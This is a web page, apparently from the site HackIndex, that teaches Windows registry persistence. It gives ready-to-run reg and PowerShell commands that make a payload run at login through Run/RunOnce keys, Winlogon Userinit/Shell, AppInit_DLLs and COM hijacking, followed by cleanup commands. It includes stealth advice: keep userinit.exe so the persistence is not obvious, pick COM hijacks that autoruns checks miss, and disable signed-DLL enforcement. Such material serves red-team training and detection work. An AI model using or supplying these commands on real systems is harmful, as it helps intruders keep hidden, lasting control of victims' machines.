Skip to content
HackIndex logo

HackIndex

Windows Registry Persistence

5 min read Jul 14, 2026

Registry-based persistence survives reboots without creating visible scheduled tasks or services. Run keys execute payloads at user login or system startup. More advanced keys like Winlogon and AppInit_DLLs load code deeper in the boot process and are less likely to be caught by basic persistence scans.

Run and RunOnce keys

The most common persistence mechanism. Entries under Run execute every time the user logs in. RunOnce entries execute once and are deleted automatically.

PS C:\Users\Guest\Desktop> # HKCU — current user, no admin required
PS C:\Users\Guest\Desktop> reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Updater /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f
 
PS C:\Users\Guest\Desktop> # HKLM — all users, requires admin
PS C:\Users\Guest\Desktop> reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Updater /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f
 
PS C:\Users\Guest\Desktop> # RunOnce — executes once then deletes itself
PS C:\Users\Guest\Desktop> reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v Updater /t REG_SZ /d "C:\Windows\Temp\payload.exe" /f
 
PS C:\Users\Guest\Desktop> # Verify entry was added
PS C:\Users\Guest\Desktop> reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
PS C:\Users\Guest\Desktop> # Add via PowerShell registry provider
PS C:\Users\Guest\Desktop> New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'Updater' -Value 'C:\Windows\Temp\payload.exe' -PropertyType String -Force
 
PS C:\Users\Guest\Desktop> # Remove when done
PS C:\Users\Guest\Desktop> Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'Updater'

Winlogon persistence

Winlogon keys control what runs during the Windows login process. Appending to Userinit or replacing Shell loads your payload alongside the normal login sequence. Both require admin.

PS C:\Users\Guest\Desktop> # Check current values before modifying
PS C:\Users\Guest\Desktop> reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit
PS C:\Users\Guest\Desktop> reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell
 
PS C:\Users\Guest\Desktop> # Append payload to Userinit (keep the original userinit.exe or login will break)
PS C:\Users\Guest\Desktop> reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\System32\userinit.exe,C:\Windows\Temp\payload.exe" /f
 
PS C:\Users\Guest\Desktop> # Replace Shell (normally explorer.exe — payload runs instead of desktop)
PS C:\Users\Guest\Desktop> reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe,C:\Windows\Temp\payload.exe" /f

Always preserve the original value in Userinit. If you overwrite it without keeping userinit.exe, the user will not get a desktop on login and the persistence will be obvious. Read the current value first and append with a comma separator.

AppInit_DLLs

DLLs listed in AppInit_DLLs are loaded into every process that loads User32.dll — which is nearly every GUI application. This gives broad execution coverage but is noisy and well-monitored by modern EDR.

PS C:\Users\Guest\Desktop> # Check if AppInit is enabled (LoadAppInit_DLLs must be 1)
PS C:\Users\Guest\Desktop> reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs
 
PS C:\Users\Guest\Desktop> # Enable and set DLL path (requires admin)
PS C:\Users\Guest\Desktop> reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
PS C:\Users\Guest\Desktop> reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\Windows\Temp\payload.dll" /f
 
PS C:\Users\Guest\Desktop> # Also set RequireSignedAppInit_DLLs to 0 if Secure Boot is active
PS C:\Users\Guest\Desktop> reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0 /f

AppInit_DLLs is disabled by default when Secure Boot is enabled. Check before relying on it. On modern hardened systems this technique is rarely viable — prefer Run keys or scheduled tasks.

COM object hijacking

COM objects registered under HKCU override system-wide HKLM registrations for the current user. Replacing a COM object's InprocServer32 path with your DLL causes it to load whenever that COM object is instantiated — with no admin required and no Run key visible in standard autoruns checks.

PS C:\Users\Guest\Desktop> # Find COM objects registered in HKLM but missing from HKCU (hijackable)
PS C:\Users\Guest\Desktop> # Use Process Monitor to find CLSID lookups that fail in HKCU — filter on:
PS C:\Users\Guest\Desktop> # RegOpenKey, Result: NAME NOT FOUND, Path contains HKCU\Software\Classes\CLSID
 
PS C:\Users\Guest\Desktop> # Example: hijack a known missing CLSID
PS C:\Users\Guest\Desktop> # First create the key structure in HKCU
PS C:\Users\Guest\Desktop> $CLSID = "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}"
PS C:\Users\Guest\Desktop> New-Item -Path "HKCU:\Software\Classes\CLSID\$CLSID\InprocServer32" -Force
PS C:\Users\Guest\Desktop> Set-ItemProperty -Path "HKCU:\Software\Classes\CLSID\$CLSID\InprocServer32" -Name '(default)' -Value 'C:\Windows\Temp\payload.dll'
PS C:\Users\Guest\Desktop> Set-ItemProperty -Path "HKCU:\Software\Classes\CLSID\$CLSID\InprocServer32" -Name 'ThreadingModel' -Value 'Apartment'

COM hijacking requires identifying which CLSIDs are looked up in HKCU but not found. Use Sysinternals Autoruns with the Hijacks filter enabled — it highlights all COM objects where an HKCU override is possible. The payload must be a DLL, not an EXE.

Cleaning up registry persistence

PS C:\Users\Guest\Desktop> # Remove Run key
PS C:\Users\Guest\Desktop> reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Updater /f
PS C:\Users\Guest\Desktop> reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Updater /f
 
PS C:\Users\Guest\Desktop> # Restore Winlogon to default
PS C:\Users\Guest\Desktop> reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\System32\userinit.exe," /f
PS C:\Users\Guest\Desktop> reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe" /f
 
PS C:\Users\Guest\Desktop> # Remove AppInit_DLLs
PS C:\Users\Guest\Desktop> reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 0 /f
PS C:\Users\Guest\Desktop> reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /f

References